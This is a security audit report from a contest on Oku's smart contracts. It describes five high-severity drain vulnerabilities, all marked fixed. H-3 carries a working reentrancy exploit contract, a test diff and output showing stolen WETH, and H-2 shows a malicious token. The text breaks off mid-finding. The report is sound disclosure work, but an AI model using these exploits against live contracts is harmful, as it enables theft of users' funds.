SHERLOCK

Security Review For Oku

Public Audit Contest Prepared For: **Oku**
Lead Security Expert: **xiaoming90**
Date Audited: **December 4 - December 9, 2024**
Final Commit: **9e31b40**

Introduction

Oku is bring CeFi order types to DeFi with their new order types contract. Oku will offer stop loss, stop limit, bracket orders, and more order types previously unavailable to DeFi traders. Soon, traders will be able to sleep at night!

Scope

Repository: gfx-labs/oku-custom-order-types

Audited Commit: b84e5725f4d1e0a1ee9048baf44e68d2e53ec971

Final Commit: 9e31b40fa8593905b9c1037c424d89ec2c886203

Files:

- contracts/automatedTrigger/AutomationMaster.sol
- contracts/automatedTrigger/Bracket.sol
- contracts/automatedTrigger/IAutomation.sol
- contracts/automatedTrigger/OracleLess.sol
- contracts/automatedTrigger/StopLimit.sol
- contracts/libraries/ArrayMutation.sol
- contracts/oracle/External/OracleRelay.sol
- contracts/oracle/External/PythOracle.sol

Final Commit Hash

9e31b40fa8593905b9c1037c424d89ec2c886203

Findings

Each issue has an assigned severity:

- Medium issues are security vulnerabilities that may not be directly exploitable or may require certain conditions in order to be exploited. All major issues should be addressed.
- High issues are directly exploitable security vulnerabilities that need to be fixed.

Issues Found

High	Medium
8	11

Issues Not Fixed and Not Acknowledged

High	Medium
0	0

Security experts who found valid issues

056Security
0rpse
0x007
0x0x0xw3
0x37
0x486776
0xAadi
0xCNX
0xMitev
0xNirix
0xProf
0xRiO
0xShoonya
0xaxaxa
0xc0ffEE
0xeix
0xgremlincat
0xhuh2005
0xloscar01
0xlucky
0xmujahid002
0xmurki
0xpetern
0xumarkhatab
10ap17
4gontuk
626162797275646 96e
Afriaudit
AshishLac
Atharv
Audinarey
Bigsam
BijanF
Boy2000
Breaker
BugPull
Cayde-6
ChaosSR
Chinedu
ChinmayF
Contest-Squad
DenTonylifer
DharkArtz
ElKu
ExtraCaterpillar
Falendar
Icon0x
IvanFitro
JinxSalamV2
John44
JohnTPark24
Kenn.eth
KiroBrejka
KungFuPanda
Kyosi
Laksmana
LonWof-Demon
LordAdhaar
Matin
MoonShadow
NickAuditor2
NoOneWinner
NoWinner
Opeyemi
PNS
Pablo
PeterSR
PoeAudits
Praise03
Pro_King
Ragnarok
Smacaud
Sparrow_Jac
Tri-pathi
TxGuard
Uddercover
Waydou
Weed0607
WildSniper
X0sauce
Xcrypt
Z3R0
ZanyBonzy
ami

aslanbek
auditism
befree3x
bughuntoor
c-n-o-t-e
chista0x
covey0x07
curly
durov
elvin.a.block
etherhood
future2_22
gajiknownnothing
hals
iamandreiski
itcruiser00
jah
joshuajee
jovemjeune
kfx
krot-0025
lanrebayode77
lukris02
mladenov
moray5554
mxteem
newspacexyz
nfmelendez
nikhil840096
nikhilx0111
onthehunt
oualidpro
oxwhite
phoenixv110
pkabhi01
rahim7x
rudhra1749
s0x0mtee
safdie
sakibcy
silver_eth
skid0016
t.aksoy
t0x1c
tedox
tmotfl
tnevler
tobi0x18
tomadimitrie
udo
vinica_boy
whitehair0330
wickie
xiaoming90
xseven
y51r
yovchev_yoan
yuza101
zhenyazhd
zhigang
zhoo
zxriptor

Issue H-1: Unsafe Type Casting in Token Amount Handling

Source: https://github.com/sherlock-audit/2024-11-oku-judging/issues/64

Found by

bughuntoor, t.aksoy

Summary

Multiple contracts in the rotocol perform unsafe downcasting from uint256 to uint160 when handling token amounts in Permit2 transfers. This can lead to silent overflow/underflow conditions, potentially allowing users to create orders with mismatched amounts, leading to fund loss or system manipulation.

Root Cause

While Solidity 0.8.x provides built-in overflow/underflow protection for arithmetic operations, it does not protect against data loss during type casting. The contracts perform direct casting of uint256 to uint160 without validation in several critical functions:

Bracket.sol: procureTokens() , modifyOrder() StopLimit.sol: createOrder(), modifyOrder() OracleLess.sol: procureTokens()

As an example, the `StopLimit::modifyOrder()` function takes `uint256 amountIn` as input. This variable is cast to uint160 inside the handlePermit function. Due to overflow, if the user sets the amount higher than the uint160 limit, the amount would become very small, and the contract would transfer this small amount. When setting orders, it uses amountIn as uint256. As a result, the user creates an order with a high amount but pays very little to the protocol. The user can then drain the contract by modifying their order.

```
    ///@notice see @IStopLimit
    function createOrder(
        uint256 stopLimitPrice,
        uint256 takeProfit,
        uint256 stopPrice,
        uint256 amountIn,
        IERC20 tokenIn,
        IERC20 tokenOut,
        address recipient,
        uint16 feeBips,
        uint16 takeProfitSlippage,
        uint16 stopSlippage,
```

```
        uint16 swapSlippage,
        bool swapOnFill,
        bool permit,
        bytes calldata permitPayload
    ) external override nonReentrant {
        if (permit) {
            handlePermit(
                recipient,
                permitPayload,
                uint160(amountIn),
                address(tokenIn)
            );
}

    function handlePermit(
        address owner,
        bytes calldata permitPayload,
        uint160 amount,
        address token
    ) internal {
        Permit2Payload memory payload = abi.decode(
            permitPayload,
            (Permit2Payload)
        );

        permit2.permit(owner, payload.permitSingle, payload.signature);
        permit2.transferFrom(owner, address(this), amount, token);
    }
```

https://github.com/sherlock-audit/2024-11-oku/blob/ee3f781a73d65e33fb452c9a44eb1337c5cfdbd6/oku-custom-order-types/contracts/automatedTrigger/StopLimit.sol#L146

Internal pre-conditions

No response

External pre-conditions

User must have enough tokens to create an order Amount must be greater than type(uint160).max User must be able to interact with the contract's order creation functions

Attack Path

1. Attacker prepares: maliciousAmount = type(uint160).max + minPosSize;
2. Attacker creates an order with this amount
3. Due to unsafe casting: The order is created with maliciousAmount (full uint256) but only transfers minPosSize
4. User can cancel or modify his order to drain the contract

Impact

Protocol receives fewer tokens than the order amount indicates and user can modify order to drain the protocol

PoC

No response

Mitigation

Implement OpenZeppelin's SafeCast library

Discussion

sherlock-admin2

The protocol team fixed this issue in the following PRs/commits:
https://github.com/gfx-labs/oku-custom-order-types/pull/1

Issue H-2: Attackers can drain the `OracleLess` contract by creating an order with a `malicious tokenIn` and executing it with a `malicious target`.

Source: https://github.com/sherlock-audit/2024-11-oku-judging/issues/357

Found by

0xaxaxa, BugPull, Ragnarok, whitehair0330

Summary

In the `OracleLess` contract, the `createOrder()` function does not verify whether the `tokenIn` is a legitimate ERC20 token, allowing attackers to create an order with a malicious token. Additionally, the `fillOrder()` function does not check if the `target` and `txData` are valid, enabling attackers to execute their order with a malicious `target` and `txData`.

Root Cause

The OracleLess.createOrder() function does not verify whether `tokenIn` is a legitimate ERC20 token.

Additionally, the OracleLess.fillOrder() function does not check if `target` and `txData` are valid.

Internal pre-conditions

External pre-conditions

Attack Path

Let's consider the following scenario:

1. Alice, the attacker, creates a malicious token.
2. Alice creates an order with her malicious token:
    - `tokenIn`: Alice's malicious token
    - `tokenOut`: `WETH`

- `minAmountOut`: 0

3. Alice calls the `fillOrder()` function to execute her malicious order, setting parameters as follows:
    - `target`: address of `USDT`
    - `txData`: transfer all `USDT` in the `OracleLess` contract to Alice.

```
    function fillOrder(
        ...

118     (uint256 amountOut, uint256 tokenInRefund) = execute(
            target,
            txData,
            order
        );

        ...
    }
```

    - At line 118 of the `fillOrder()` function, `execute()` is invoked:

```
    function execute(
        address target,
        bytes calldata txData,
        Order memory order
    ) internal returns (uint256 amountOut, uint256 tokenInRefund) {
        //update accounting
        uint256 initialTokenIn = order.tokenIn.balanceOf(address(this));
        uint256 initialTokenOut = order.tokenOut.balanceOf(address(this));

        //approve
237     order.tokenIn.safeApprove(target, order.amountIn);

        //perform the call
240     (bool success, bytes memory reason) = target.call(txData);

        if (!success) {
            revert TransactionFailed(reason);
        }

        uint256 finalTokenIn = order.tokenIn.balanceOf(address(this));
        require(finalTokenIn >= initialTokenIn - order.amountIn, "over
        ↪  spend");
        uint256 finalTokenOut = order.tokenOut.balanceOf(address(this));

        require(
251         finalTokenOut - initialTokenOut > order.minAmountOut,
            "Too Little Received"
        );
```

```
        amountOut = finalTokenOut - initialTokenOut;
        tokenInRefund = order.amountIn - (initialTokenIn - finalTokenIn);
    }
```

- At line 237 of the `execute()` function, `tokenIn.safeApprove()` is called. Alice made her malicious `tokenIn` as follows:

```
function approve(address spender, uint256 amount) public virtual
↪   override returns (bool) {
    WETH.transfer(msg.sender, 1);
    return true;
}
```

  This transfers 1 wei of `WETH` to the `OracleLess` contract.

- At line 240, all `USDT` are transferred to Alice, as `target` is `USDT` and `txData` is set to transfer to Alice.
- At line 251, `finalTokenOut - initialTokenOut` will be 1, as the contract has already received 1 wei. Thus, the require statement will pass since `order.minAmountOut` was set 0.

As a result, Alice can drain all `USDT` from the `OracleLess` contract.

Impact

Attackers can drain the `OracleLess` contract by using malicious `token`, `target`, and `txData`.

PoC

Mitigation

It is recommended to implement a whitelist mechanism for `token`, `target`, and `txData`.

Discussion

sherlock-admin2

The protocol team fixed this issue in the following PRs/commits:
https://github.com/gfx-labs/oku-custom-order-types/pull/1

Issue H-3: Lack of nonReentrant modifier in fillOrder() and modifyOrder() allows attacker to steal funds

Source: https://github.com/sherlock-audit/2024-11-oku-judging/issues/421

Found by

0rpse, 0x007, 0xNirix, 0xProf, 0xaxaxa, AshishLac, Atharv, Bigsam, BugPull, ChaosSR, ChinmayF, Contest-Squad, DenTonylifer, Falendar, LonWof-Demon, LordAdhaar, NoOneWinner, Uddercover, Xcrypt, Z3R0, ami, covey0x07, durov, iamandreiski, joshuajee, kfx, lanrebayode77, pkabhi01, silver_eth, t.aksoy, t0x1c, vinica_boy, whitehair0330, xiaoming90, y51r, zhoo, zxriptor

Description

Root Causes:

1. OracleLess.sol::fillOrder() can be called by anyone with a malicious `txData`.
2. OracleLess.sol::fillOrder() lacks a `nonReentrant` modifier.
3. OracleLess.sol::modifyOrder() lacks a `nonReentrant` modifier.

Attack Path: (Please refer PoC for detailed execution flow)

1. Suppose the current `pendingOrderIds` looks like:

```
pendingOrderIds = [N,  A1,  A2]
                   0    1    2    (array indices)
```

`Order-N` is by the victim, a naive user. Orders `A1` and `A2` are by the attacker.

2. Attacker has made sure the `Order-A1` and `Order-A2` recipient is a contract with address say, `target`.
3. Attacker's `Order-A1` is in range so they call `fillOrder()` with malicious `txData`.
4. `fillOrder()` internally calls `execute()` which internally calls `target.call(txData)` where both `target` and `txData` are attacker controlled.
5. From inside the `target` contract (let's say a function named `attack()`), they pull the tokenIn (WETH) of `Order-A1` as they have the approval.
6. `attack()` then sends `1 wei` of tokenOut (USDC) or any minimum amount back. The attacker will get this back later.

7. `attack()` then calls `modifyOrder(Order-A1)` and decreases the position size to the minimum allowed. They are immediately credited say, `M` WETH.
8. `attack()` next calls `modifyOrder(Order-A2)` and increases the position size to park this `M` WETH. This is done so that the overall WETH balance of OracelLess contract is not affected by this theft and the following check about over-spend inside `execute()` passes successfully:

```
require(finalTokenIn >= initialTokenIn - order.amountIn, "over spend");
```

9. The control now exits `attack()` and `fillOrder()` continues further. The code goes ahead and removes `Order-A1` from the pending order array and sends back the `1 wei` USDC to `target` on L141. The attacker is at no loss & no gain right now.
10. The attacker now cancels `Order-A2` and receives the `M` WETH back too, thus stealing it from the rightful funds of the victim/protocol.

Note: In spite of similar structures, this attack can't be carried out inside `Bracket.sol::performUpkeep()` as `Bracket.sol::modifyOrder()` is protected by the `nonReentrant` modifier.

Impact

High. Victim & protocol funds can be stolen at no substantial cost to the attacker.

Proof Of Concept

1. First, add a file named `MaliciousOracleLessTarget.sol` under the `contracts/` directory:

```
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.19;

import "./interfaces/openzeppelin/IERC20.sol";
import "./interfaces/openzeppelin/SafeERC20.sol";

interface IOracleLess {
    function createOrder(
        IERC20 tokenIn,
        IERC20 tokenOut,
        uint256 amountIn,
        uint256 minAmountOut,
        address recipient,
        uint16 feeBips,
        bool permit,
        bytes calldata permitPayload
    ) external returns (uint96 orderId);
```

```
    function fillOrder(
        uint96 pendingOrderIdx,
        uint96 orderId,
        address target,
        bytes calldata txData
    ) external;

    function cancelOrder(uint96 orderId) external;
}

contract MaliciousOracleLessTarget {
    using SafeERC20 for IERC20;

    address public immutable oracleLessContract;
    IERC20 public immutable weth;
    IERC20 public immutable usdc;
    uint96 public secondOrderId;

    constructor(address _oracleLess, address _weth, address _usdc) {
        oracleLessContract = _oracleLess;
        weth = IERC20(_weth);
        usdc = IERC20(_usdc);
        weth.safeApprove(_oracleLess, type(uint256).max);
    }

    function setSecondOrderId(uint96 _orderId) external {
        secondOrderId = _orderId;
    }


    function createOrder(
        IERC20 tokenIn,
        IERC20 tokenOut,
        uint256 amountIn,
        uint256 minAmountOut,
        address recipient,
        uint16 feeBips,
        bool permit,
        bytes calldata permitPayload
    ) external {

        require (
            IOracleLess(oracleLessContract).createOrder(
            tokenIn,
            tokenOut,
            amountIn,
            minAmountOut,
            recipient,
            feeBips,
            permit,
```

```
            permitPayload
            ) > 0
        );
    }

    function fillOrder(
        uint96 pendingOrderIdx,
        uint96 orderId,
        address target,
        bytes calldata txData
    ) external {

        IOracleLess(oracleLessContract).fillOrder(
            pendingOrderIdx,
            orderId,
            target,
            txData
        );
    }

    function cancelOrder(uint96 orderId) external {
        IOracleLess(oracleLessContract).cancelOrder(orderId);
    }

    // During target.call() in fillOrder(), we:
    // 1. Modify first order to get funds back
    // 2. Transfer those funds to second order
    // 3. Send minimal USDC to pass balance check
    function attack(
        uint96 firstOrderId,
        uint256 amountToSteal,
        uint256 amountToReduce,
        uint256 minReturn
    ) external returns (bool) {
        // Step 0: Pull tokenIn (we have been provided the approval)
        weth.safeTransferFrom(msg.sender, address(this), amountToSteal);

        // Step 1: Modify first order to decrease position, getting back most funds
        (bool modifySuccess1,) = oracleLessContract.call(
            abi.encodeWithSignature(

↪   "modifyOrder(uint96,address,uint256,uint256,address,bool,bool,bytes)",
                firstOrderId,      // orderId
                usdc,              // _tokenOut unchanged
                amountToReduce,  // amountInDelta
                minReturn,         // _minAmountOut
                address(this),     // _recipient
                false,           // increasePosition = false to decrease
                false,           // permit
                "0x"             // permitPayload
```

```
            )
        );
        require(modifySuccess1, "First modify failed");

        // Step 2: Increase position of second order with stolen funds
        (bool modifySuccess2,) = oracleLessContract.call(
            abi.encodeWithSignature(

↪  "modifyOrder(uint96,address,uint256,uint256,address,bool,bool,bytes)",
                secondOrderId,    // orderId
                usdc,             // _tokenOut unchanged
                amountToReduce, // amountInDelta
                minReturn,        // _minAmountOut
                address(this),    // _recipient
                true,           // increasePosition = true to add funds
                false,          // permit
                "0x"            // permitPayload
            )
        );
        require(modifySuccess2, "Second modify failed");

        // Step 3: Send minimal USDC to pass balance check in fillOrder()
        usdc.safeTransfer(msg.sender, 1);

        return true;
    }

    receive() external payable {}
}
```

```
diff --git a/oku-custom-order-types/test/triggerV2/happyPath.ts
↪  b/oku-custom-order-types/test/triggerV2/happyPath.ts
index caeed34..1181295 100644
--- a/oku-custom-order-types/test/triggerV2/happyPath.ts
+++ b/oku-custom-order-types/test/triggerV2/happyPath.ts
@@ -1085,4 +1085,150 @@ describe("Oracle Less", () => {

 })

+// Add this test after the existing "Oracle Less" describe block:
+describe("OracleLess Attack via fillOrder and modifyOrder Reentrancy", () => {
+    let attackContract: string
+    let naiveOrderId: bigint
+    let firstOrderId: bigint
+    let secondOrderId: bigint
+    let attackWithWETH: bigint
+
+    before(async () => {
+        attackWithWETH = s.wethAmount / 3n
```

```
+        console.log("\nSetting up Oracle Less attack test...")
+        console.log("Attack amount:", ethers.formatEther(attackWithWETH), "WETH")
+
+        s.OracleLess = await DeployContract(new OracleLess__factory(s.Frank),
 ↪  s.Frank, await s.Master.getAddress(), a.permit2)
+        // Fund victim
+        await stealMoney(s.wethWhale, await s.Oscar.getAddress(), await
 ↪  s.WETH.getAddress(), s.wethAmount / 3n)
+        const oscarBalance = await s.WETH.balanceOf(await s.Oscar.getAddress())
+        console.log("Oscar's WETH balance:", ethers.formatEther(oscarBalance))
+
+        // Deploy malicious contract
+        const AttackFactory = await
 ↪  ethers.getContractFactory("MaliciousOracleLessTarget")
+        const attack = await AttackFactory.connect(s.Steve).deploy(
+            await s.OracleLess.getAddress(),
+            await s.WETH.getAddress(),
+            await s.USDC.getAddress()
+            )
+            attackContract = await attack.getAddress()
+            console.log("Attack contract deployed at:", attackContract)
+
+        // Fund attack contract with WETH
+        await stealMoney(s.wethWhale, attackContract, await s.WETH.getAddress(),
 ↪  s.wethAmount - s.wethAmount / 3n)
+        console.log("Attack contract funded with", ethers.formatUnits(await
 ↪  s.WETH.balanceOf(attackContract), 18), "WETH")
+
+        // Fund attack contract with USDC
+        await stealMoney(s.usdcWhale, attackContract, await s.USDC.getAddress(),
 ↪  BigInt(2000000000))
+        const attackContractUSDC = await s.USDC.balanceOf(attackContract)
+        console.log("Attack contract funded with",
 ↪  ethers.formatUnits(attackContractUSDC, 6), "USDC")
+    })
+
+    it("Creates attacker's orders", async () => {
+        // Create first order by naive user
+        console.log("\nCreating first order by naive user...")
+        await s.WETH.connect(s.Oscar).approve(await s.OracleLess.getAddress(),
 ↪  s.wethAmount / 3n)
+
+        let tx = await s.OracleLess.connect(s.Oscar).createOrder(
+            await s.WETH.getAddress(),
+            await s.USDC.getAddress(),
+            s.wethAmount / 3n,
+            0,
+            await s.Oscar.getAddress(),
+            0,
+            false,
```

```
+            "0x"
+        )
+
+        await tx.wait()
+        let pendingOrders = await s.OracleLess.getPendingOrders()
+        naiveOrderId = pendingOrders[0].orderId
+        expect(await s.WETH.balanceOf(await s.Oscar.getAddress())).to.be.eq(0)
+
+        // Create first attack order
+        const attack = await ethers.getContractAt("MaliciousOracleLessTarget",
↪  attackContract)
+        console.log("\nCreating first attack order...")
+
+        tx = await attack.connect(s.Steve).createOrder(
+            await s.WETH.getAddress(),
+            await s.USDC.getAddress(),
+            attackWithWETH,
+            0,
+            attackContract,
+            0,
+            false,
+            "0x"
+        )
+
+        await tx.wait()
+        pendingOrders = await s.OracleLess.getPendingOrders()
+        firstOrderId = pendingOrders[1].orderId
+
+        // Create second order
+        console.log("\nCreating second attack order...")
+        tx = await attack.connect(s.Steve).createOrder(
+            await s.WETH.getAddress(),
+            await s.USDC.getAddress(),
+            attackWithWETH,
+            0,
+            attackContract,
+            0,
+            false,
+            "0x"
+        )
+
+        await tx.wait()
+        pendingOrders = await s.OracleLess.getPendingOrders()
+        secondOrderId = pendingOrders[2].orderId
+
+        // Configure attack contract
+        await attack.setSecondOrderId(secondOrderId)
+
+        // Verify orders
+        pendingOrders = await s.OracleLess.getPendingOrders()
```

```
+        expect(pendingOrders.length).to.be.eq(3, "Three orders should be pending")
+    })
+
+    it("Executes reentrancy attack", async () => {
+        const initWETH = await s.WETH.balanceOf(attackContract)
+        const initUSDC = await s.USDC.balanceOf(attackContract)
+        console.log("\nInitial balances of attackContract:")
+        console.log("WETH:", ethers.formatEther(initWETH))
+        console.log("USDC:", ethers.formatUnits(initUSDC, 6))
+
+        // Generate attack payload
+        const functionSelector =
↪  ethers.id("attack(uint96,uint256,uint256,uint256)").slice(0, 10)
+        const encodedParams = ethers.AbiCoder.defaultAbiCoder().encode(
+            ["uint96", "uint256", "uint256", "uint256"],
+            [firstOrderId, attackWithWETH, attackWithWETH - BigInt(1e16), 1n] //
↪  leave some WETH behind ... and 1 wei as minReturn
+        ).slice(2)
+        const attackData = functionSelector + encodedParams
+
+        console.log("Executing attack...")
+        const attack = await ethers.getContractAt("MaliciousOracleLessTarget",
↪  attackContract)
+        await attack.connect(s.Steve).fillOrder(
+            1,
+            firstOrderId,
+            attackContract,
+            attackData
+        )
+        await attack.connect(s.Steve).cancelOrder(
+            secondOrderId
+        )
+
+        const finalWETH = await s.WETH.balanceOf(attackContract)
+        const finalUSDC = await s.USDC.balanceOf(attackContract)
+        console.log("\nFinal balances:")
+        console.log("WETH:", ethers.formatEther(finalWETH))
+        console.log("USDC:", ethers.formatUnits(finalUSDC, 6))
+
+        expect(finalWETH).to.be.gt(attackWithWETH, "Should have gained WETH")
+        expect(finalUSDC).to.be.eq(initUSDC, "Should have no USDC spend")
+
+        const pendingOrders = await s.OracleLess.getPendingOrders()
+        expect(pendingOrders.length).to.be.eq(1, "Only the naive order should be
↪  pending")
+        expect(pendingOrders[0].orderId).to.be.eq(naiveOrderId, "Naive order id")
+    })
+})
+
```

Output:

```
  OracleLess Attack via fillOrder and modifyOrder Reentrancy

Setting up Oracle Less attack test...
Attack amount: 0.55 WETH
Oscar's WETH balance: 0.55
Attack contract deployed at: 0xB737dD8FC9B304A3520B3bb609CC7532F1425Ad0
Attack contract funded with 1.1 WETH
Attack contract funded with 2000.0 USDC

Creating first order by naive user...

Creating first attack order...

Creating second attack order...
     Creates attacker's orders (78ms)

Initial balances of attackContract:
WETH: 0.0
USDC: 2000.0
Executing attack...

Final balances:
WETH: 1.64          <---------------------- started with 1.1 WETH, ended up with
 ↪  1.64 WETH
USDC: 2000.0
     Executes reentrancy attack (61ms)
```

Mitigation

Add the `nonReentrant` modifier to both `OracleLess.sol::fillOrder()` and `OracleLess.sol::modifyOrder()`.

Discussion

sherlock-admin2

The protocol team fixed this issue in the following PRs/commits:
https://github.com/gfx-labs/oku-custom-order-types/pull/1

Issue H-4: Users can modify a cancelled order, withdrawing the same tokens twice

Source: https://github.com/sherlock-audit/2024-11-oku-judging/issues/542

Found by

0x37, 0x486776, 0xaxaxa, 0xc0ffEE, 62616279727564696e, Bigsam, Breaker, BugPull, Cayde-6, Contest-Squad, DenTonylifer, ExtraCaterpillar, IvanFitro, JinxSalamV2, John44, KiroBrejka, NoOneWinner, NoWinner, PNS, Pablo, Ragnarok, Tri-pathi, Uddercover, WildSniper, c-n-o-t-e, etherhood, gajiknownnothing, hals, lanrebayode77, moray5554, mxteem, newspacexyz, onthehunt, oualidpro, phoenixv110, rudhra1749, s0x0mtee, safdie, silver_eth, t.aksoy, t0x1c, vinica_boy, xiaoming90, zhigang, zhoo, zxriptor

Summary

In Bracket, OracleLess and StopLimit a user can modify a canceled order, allowing them to withdraw the order tokens twice.

Root Cause

In Bracket, OracleLess and StopLimit there is no validation on whether an order has already been canceled before modifying it: https://github.com/sherlock-audit/2024-11-oku/blob/ee3f781a73d65e33fb452c9a44eb1337c5cfdbd6/oku-custom-order-types/contracts/automatedTrigger/OracleLess.sol#L171-L225

This allows users to cancel an order, withdrawing all of the tokens, and after that modifying it by reducing the `amountIn` to 1, withdrawing the rest of the tokens for a second time.

Internal pre-conditions

No response

External pre-conditions

No response

Attack Path

1. User creates an order with `amountIn` set to 1e18.

2. The user cancels the order, withdrawing 1e18 of the tokens.
3. Finally, they modify the order, decreasing `amountIn` to 1, withdrawing 1e18 - 1 of the already withdrawn tokens.
4. The attack can be performed several times until all of the contract's tokens are drained.

Impact

Bracket, OracleLess and StopLimit can be drained.

PoC

No response

Mitigation

Make sure that a canceled order cannot be modified,

Discussion

sherlock-admin2

The protocol team fixed this issue in the following PRs/commits:
https://github.com/gfx-labs/oku-custom-order-types/pull/1

Issue H-5: attacker can drain StopLimit contract funds through Bracket contract because it gives type(uint256).max allowance to bracket contract for input token in performUpkeep function

Source: https://github.com/sherlock-audit/2024-11-oku-judging/issues/700

Found by

0xaxaxa, Contest-Squad, rudhra1749, whitehair0330, xiaoming90

Summary

performUpkeep::StopLimit function increases allowance of input token for Bracket contract to type(uint256).max. https://github.com/sherlock-audit/2024-11-oku/blob/main/oku-custom-order-types/contracts/automatedTrigger/StopLimit.sol#L100-L104

```
updateApproval(
            address(BRACKET_CONTRACT),
            order.tokenIn,
            order.amountIn
        );
```

https://github.com/sherlock-audit/2024-11-oku/blob/main/oku-custom-order-types/contracts/automatedTrigger/StopLimit.sol#L397-L411

```
function updateApproval(
        address spender,
        IERC20 token,
        uint256 amount
    ) internal {
        // get current allowance
        uint256 currentAllowance = token.allowance(address(this), spender);
        if (currentAllowance < amount) {
            // amount is a delta, so need to pass max - current to avoid overflow
            token.safeIncreaseAllowance(
                spender,
                type(uint256).max - currentAllowance
            );
        }
```

```
    }
```

so now Bracket contract can transfer input tokens to itself in fillStopLimitOrder function.
https://github.com/sherlock-audit/2024-11-oku/blob/main/oku-custom-order-types/contracts/automatedTrigger/StopLimit.sol#L126-L140

```
BRACKET_CONTRACT.fillStopLimitOrder(
       swapPayload,
       order.takeProfit,
       order.stopPrice,
       order.amountIn,
       order.orderId,
       tokenIn,
       tokenOut,
       order.recipient,
       order.feeBips,
       order.takeProfitSlippage,
       order.stopSlippage,
       false, //permit
       "0x" //permitPayload
   );
```

https://github.com/sherlock-audit/2024-11-oku/blob/main/oku-custom-order-types/contracts/automatedTrigger/Bracket.sol#L147-L165

```
function fillStopLimitOrder(
    bytes calldata swapPayload,
    uint256 takeProfit,
    uint256 stopPrice,
    uint256 amountIn,
    uint96 existingOrderId,
    IERC20 tokenIn,
    IERC20 tokenOut,
    address recipient,
    uint16 existingFeeBips,
    uint16 takeProfitSlippage,
    uint16 stopSlippage,
    bool permit,
    bytes calldata permitPayload
) external override nonReentrant {
    require(
        msg.sender == address(MASTER.STOP_LIMIT_CONTRACT()),
        "Only Stop Limit"
    );
```

https://github.com/sherlock-audit/2024-11-oku/blob/main/oku-custom-order-types/contracts/automatedTrigger/Bracket.sol#L336

```
token.safeTransferFrom(owner, address(this), amount);
```

now even after this transfer almost type(uint256).max allowance is there for Bracket contract. Attacker can take this as advantage and drain StopLimit contract funds.

1) Attacker checks for which tokens there is almost type(uint256).max allowance for Bracket contract to transfer tokens of StopLimit contract.(lets say for tokens A,B,C,D etc...)
2) Attacker creates a readily executable order in Bracket contract such that let's say tokenOut = tokenA(for which Bracket contract already has almost type(uint256).max allowance to transfer StopLimit contracts tokenA tokens. 3)then attacker calls performUpkeep::Bracket with respect to this order(with target = address of tokenA, txData is such that in calls transferFrom with from = address of StopLimit contract, to = address of Bracket contract, value = no of tokenA tokens StopLimit contract have(or some thing closer to it). https://github.com/sherlock-audit/2024-11-oku/blob/main/oku-custom-order-types/contracts/automatedTrigger/Bracket.sol#L85-L101

```
function performUpkeep(
    bytes calldata performData
) external override nonReentrant {
    MasterUpkeepData memory data = abi.decode(
        performData,
        (MasterUpkeepData)
    );
    Order memory order = orders[pendingOrderIds[data.pendingOrderIdx]];


    require(
        order.orderId == pendingOrderIds[data.pendingOrderIdx],
        "Order Fill Mismatch"
    );


    //deduce if we are filling stop or take profit
    (bool inRange, bool takeProfit, ) = checkInRange(order);
    require(inRange, "order ! in range");
```

and he sets feeBips = 0. 4)performUpkeep function internally calls execute function https://github.com/sherlock-audit/2024-11-oku/blob/main/oku-custom-order-types/contracts/automatedTrigger/Bracket.sol#L108-L115

```
(uint256 swapAmountOut, uint256 tokenInRefund) = execute(
    data.target,
    data.txData,
    order.amountIn,
    order.tokenIn,
```

```
    order.tokenOut,
    bips
);
```

now Lets observe execute function, https://github.com/sherlock-audit/2024-11-oku/blob/main/oku-custom-order-types/contracts/automatedTrigger/Bracket.sol#L526-L568

```
function execute(
    address target,
    bytes memory txData,
    uint256 amountIn,
    IERC20 tokenIn,
    IERC20 tokenOut,
    uint16 bips
) internal returns (uint256 swapAmountOut, uint256 tokenInRefund) {
    //update accounting
    uint256 initialTokenIn = tokenIn.balanceOf(address(this));
    uint256 initialTokenOut = tokenOut.balanceOf(address(this));


    //approve
    tokenIn.safeApprove(target, amountIn);


    //perform the call
    (bool success, bytes memory result) = target.call(txData);


    if (success) {
        uint256 finalTokenIn = tokenIn.balanceOf(address(this));
        require(finalTokenIn >= initialTokenIn - amountIn, "over spend");
        uint256 finalTokenOut = tokenOut.balanceOf(address(this));


        //if success, we expect tokenIn balance to decrease by amountIn
        //and tokenOut balance to increase by at least minAmountReceived
        require(
            finalTokenOut - initialTokenOut >
                MASTER.getMinAmountReceived(
                    amountIn,
                    tokenIn,
                    tokenOut,
                    bips
                ),
            "Too Little Received"
        );


        swapAmountOut = finalTokenOut - initialTokenOut;
```

```
        tokenInRefund = amountIn - (initialTokenIn - finalTokenIn);
    } else {
        //force revert
        revert TransactionFailed(result);
    }
}
```

In execute function after the external call to target(tokenA), tokenOut balance of contract increases by amount used as value in call(which is almost equal to available balance of StopLimit contract for tokenA). so finalTokenOut - initialTokenOut=value.so following require check is passed.

```
require(
    finalTokenOut - initialTokenOut >
        MASTER.getMinAmountReceived(
            amountIn,
            tokenIn,
            tokenOut,
            bips
        ),
    "Too Little Received"
);
```

and also

```
require(finalTokenIn >= initialTokenIn - amountIn, "over spend");
```

this check passes as we are not transfering any TokenIn tokens. so now

```
swapAmountOut = finalTokenOut - initialTokenOut;
```

swapAmountOut = value.(value used in external call to tokenA). now this swapAmountOut will be transferred to recipient address(set by attacker). https://github.com/sherlock-audit/2024-11-oku/blob/main/oku-custom-order-types/contracts/automatedTrigger/Bracket.sol#L135

```
order.tokenOut.safeTransfer(order.recipient, adjustedAmount);
```

here adjustedAmount = swapAmountOut = value.(as we set feeBips = 0). https://github.com/sherlock-audit/2024-11-oku/blob/main/oku-custom-order-types/contracts/automatedTrigger/Bracket.sol#L125-L128

```
(uint256 feeAmount, uint256 adjustedAmount) = applyFee(
    swapAmountOut,
    order.feeBips
);
```

so finally through this process Attacker can drain all funds of StopLimit contract through

creating orders in Bracket contract by setting tokenOut as tokens for which Bracket contract have allowance to transfer from StopLimit contract, and setting takeProfit and stopPrice such that order was readily executable.And setting target as these tokenOut tokens and txData such that it calls transferFrom function with from = address of StopLimit contract, to = address of Bracket contract, value = available balance for StopLimit contract of tokenOut tokens respectively.

Root Cause

increasing allowance of Bracket contract to type(uint256).max for transferring tokens of StopLimit contract. https://github.com/sherlock-audit/2024-11-oku/blob/main/oku-custom-order-types/contracts/automatedTrigger/StopLimit.sol#L397-L411

```
function updateApproval(
    address spender,
    IERC20 token,
    uint256 amount
) internal {
    // get current allowance
    uint256 currentAllowance = token.allowance(address(this), spender);
    if (currentAllowance < amount) {
        // amount is a delta, so need to pass max - current to avoid overflow
        token.safeIncreaseAllowance(
            spender,
            type(uint256).max - currentAllowance
        );
    }
}
```

Internal pre-conditions

No response

External pre-conditions

No response

Attack Path

